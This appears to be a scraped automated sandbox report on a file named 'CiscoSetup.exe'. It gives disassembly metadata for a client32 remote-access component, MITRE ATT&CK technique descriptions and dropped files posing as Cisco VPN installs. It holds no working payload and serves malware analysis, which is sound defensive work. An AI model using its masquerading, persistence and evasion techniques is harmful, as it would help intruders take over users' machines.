Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: c668625be9c396e8122871d0668cda4b42639a8560f619d3b9b323c4263c3f1c
Instruction ID: ee2bff440c1eeb311b517f53df1393b18d0186c38d15746519086ed5f67e1e1e
Opcode Fuzzy Hash: c668625be9c396e8122871d0668cda4b42639a8560f619d3b9b323c4263c3f1c
Instruction Fuzzy Hash: 50D02BB260032DABC310D641DC80FD2B3DCDB04364F008039FA5442140D670E4808390

Function 1100D4C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(1100D73E,?), ref: 1100D4C9
LoadLibraryA.KERNEL32(AudioCapture.dll), ref: 1100D4D8

Strings

AudioCapture.dll, xrefs: 1100D4D3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID: AudioCapture.dll
API String ID: 3209957514-2642820777
Opcode ID: 31160a4b39b369407e5d036c5ac5907d5ccb4198c4cf7eae390eb598ea28f55a
Instruction ID: de40c63e4a8a4fcde3dee2054331c33ed72f965d5ee4918db061c4a53d5809d0
Opcode Fuzzy Hash: 31160a4b39b369407e5d036c5ac5907d5ccb4198c4cf7eae390eb598ea28f55a
Instruction Fuzzy Hash: 6AE01774E001638BF3029FB5884838E76D0A740699FC280B0ED22C0548FF6894808B31

Function 11131420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,00000001,?,11049246), ref: 11131446

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11131433
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1113142E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 205b0686d5236623331a90bfebdaad10eac3ab33d7e388880e187d4356a02918
Instruction ID: cbf25270b3b0651c58eed5869a3c9c02c4a96de395069bf87a5b764b24bbb751
Opcode Fuzzy Hash: 205b0686d5236623331a90bfebdaad10eac3ab33d7e388880e187d4356a02918
Instruction Fuzzy Hash: 1AD0A775A503659FD7209626EC85FC1B2E81F04718F048428F55567584D7B4E4C08755

Function 1110F3E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1110F3EA
SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 1110F400

Strings

MSOfficeWClass, xrefs: 1110F3E5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: MSOfficeWClass
API String ID: 1741975844-970895155
Opcode ID: ea34c11dfc70926f791b8ca9d524af463d7492e780264d0d8388732ba29401cd
Instruction ID: 17eb5a188d88a84c71184668e46e9585b6c12665a03152ba016c754b78296158
Opcode Fuzzy Hash: ea34c11dfc70926f791b8ca9d524af463d7492e780264d0d8388732ba29401cd
Instruction Fuzzy Hash: 2BD0127035035977E6001AA2DD4EF99BB5CDB44B55F118024F706AA0C1DBB0B440876A

Function 1101D040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 1101D064

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 1101D053
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D04E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMenuMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1590435379-2830328467
Opcode ID: c7b93495bf7068046200dc23c21ea9923ab35a6c9bf7b9f7b571f0dbc23fbce4
Instruction ID: a479ae3ba71ad1bbfd929d5f192baf473b643c420dccf9ee561c4944f6f7f77e
Opcode Fuzzy Hash: c7b93495bf7068046200dc23c21ea9923ab35a6c9bf7b9f7b571f0dbc23fbce4
Instruction Fuzzy Hash: 51D022B5E0023AABC320E611ECC8FC6B2A85B00318F044468F12062000E678E480C380

Function 11157350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 11157358
GetPropA.USER32(?,OldMenu), ref: 11157368

Strings

OldMenu, xrefs: 11157362

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MenuProp
String ID: OldMenu
API String ID: 601939786-3235417843
Opcode ID: bcb887040fc688b3d48361d640a276ef1f898a207ca6826fe873eb45f49f39ab
Instruction ID: 521654fc19124d4f771c6bc11addf53dd8358c346f2b3ea316e48a946e839c39
Opcode Fuzzy Hash: bcb887040fc688b3d48361d640a276ef1f898a207ca6826fe873eb45f49f39ab
Instruction Fuzzy Hash: 96C0123260653D7782421A959D85ACEF76CAD162653008062FA10A2100F724551187EA

Function 1100D790 Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111E8DEC,00000000,?,?,1100C15B,00000000,00000000), ref: 1100D79F
LeaveCriticalSection.KERNEL32(111E8DEC,?,?,1100C15B,00000000,00000000), ref: 1100D810

Part of subcall function 1100D700: EnterCriticalSection.KERNEL32(111E8DEC,?,?,1100B4CC,?), ref: 1100D709
Part of subcall function 1100D700: LeaveCriticalSection.KERNEL32(111E8DEC,?,1100B4CC,?), ref: 1100D781

LeaveCriticalSection.KERNEL32(111E8DEC), ref: 1100D7DF
LeaveCriticalSection.KERNEL32(111E8DEC), ref: 1100D7FB

Part of subcall function 1100D6B0: EnterCriticalSection.KERNEL32(111E8DEC,1100C3EB), ref: 1100D6B5
Part of subcall function 1100D6B0: LeaveCriticalSection.KERNEL32(111E8DEC), ref: 1100D6EF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: f66ecf3714c859a81cdc4bb94732644680549d43e4677b6ab0f5a47de0aac6d5
Instruction ID: 2708ec326fc7ce8a95e5e2d6ee606d17e2d645df98342fd5c938547174611261
Opcode Fuzzy Hash: f66ecf3714c859a81cdc4bb94732644680549d43e4677b6ab0f5a47de0aac6d5
Instruction Fuzzy Hash: 8401843AE121399BE701EFE59C4899DBBACEB096A5B0041A5FD0CD3240E631AD0087F2

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Tactics:	Credential Access, Discovery
Data Sources:	Command: Command Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CiscoSetup.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Remote Access Functionality

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp

C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)

C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper.exe (copy)

C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper64.exe (copy)

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Component\acsock64.json (copy)

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Component\is-I38LK.tmp

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Dependency\is-4FJ8H.tmp

C:\Program Files (x86)\Cisco\Cisco Secure Client\Install\Dependency\vpn_manifest.json (copy)

Windows Analysis Report
CiscoSetup.exe

